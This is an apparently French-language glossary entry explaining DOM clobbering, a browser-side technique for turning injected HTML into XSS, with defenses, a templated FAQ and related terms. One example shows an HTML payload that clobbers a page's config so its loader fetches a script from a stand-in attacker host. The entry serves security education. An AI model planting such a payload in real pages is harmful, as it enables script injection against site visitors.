DOM Clobbering
Qu'est-ce que DOM Clobbering ?
DOM ClobberingA browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
● Exemples
- 01
A markdown comment containing `<a id=config><a id=config name=url href=//evil>` causes the page's loader to fetch a script from evil.tld.
- 02
A 2023 DOMPurify advisory adds `id` and `name` attributes to the sanitizer's strip-list to defeat known DOM-clobbering gadget chains.
● Questions fréquentes
Qu'est-ce que DOM Clobbering ?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining. Cette notion relève de la catégorie Sécurité applicative en cybersécurité.
Que signifie DOM Clobbering ?
A browser-side technique in which attacker-controlled HTML elements with `id` or `name` attributes shadow global JavaScript variables, turning seemingly harmless markup into a vector for XSS, CSP bypass, and gadget chaining.
Comment fonctionne DOM Clobbering ?
DOM clobbering exploits a legacy DOM feature: any HTML element with an `id` or `name` attribute is exposed as a property on `window` (and, for form fields, on its parent form). An attacker who can inject limited HTML — say through a markdown renderer or a relaxed sanitizer — can therefore create variables that override or define globals, even with all script tags blocked. Classic targets include `window.config`, library globals such as `_wpemojiSettings`, and properties a strict CSP otherwise protects. Modern research (Khodayari & Pellegrino, Heyes, and the 2023 attacks on widely used sanitizers like DOMPurify) demonstrated reliable gadget chains turning HTML-only injection into full XSS by hijacking framework lookups (`window.config.url`, `document.currentScript.src`). Defenses include using `document.getElementById` instead of bare global lookups, accessing globals via `let`/`const`, locking sensitive properties on `window`, and configuring sanitizers to strip or namespace `id`/`name` attributes on user-controlled HTML.
Comment se défendre contre DOM Clobbering ?
Les défenses contre DOM Clobbering combinent habituellement des contrôles techniques et des pratiques opérationnelles, comme détaillé dans la définition ci-dessus.
Quels sont les autres noms de DOM Clobbering ?
Noms alternatifs courants : HTML namespace pollution, Named-element global hijack.
● Termes liés
- attacks№ 265
Cross-Site Scripting (XSS)
Vulnérabilité web permettant à un attaquant d'injecter des scripts malveillants dans des pages consultées par d'autres utilisateurs, exécutés dans leur navigateur sous l'origine du site.
- attacks№ 1225
XSS Stocké
Faille XSS persistante : le script de l'attaquant est enregistré sur le serveur puis exécuté dans le navigateur de chaque visiteur.
- appsec№ 237
Politique de sécurité du contenu (CSP)
En-tête HTTP indiquant au navigateur quelles sources de scripts, styles, cadres et autres contenus sont autorisées, limitant l'impact des XSS et des injections de données.
- appsec№ 1302
Trusted Types
API navigateur et directive CSP qui previent le XSS DOM en exigeant que les sinks dangereux recoivent des valeurs typees validees par une politique, et non des chaines brutes.
- appsec№ 599
Validation des entrées
Contrôle côté serveur vérifiant que chaque entrée non fiable correspond au type, à la longueur, à la plage, au format et à l'ensemble de valeurs attendus avant tout traitement.
- appsec№ 866
Encodage de sortie
Transformation des données non fiables dans une forme sûre pour un contexte précis (HTML, JavaScript, URL, SQL, shell) afin qu'elles ne s'évadent pas pour être exécutées comme du code.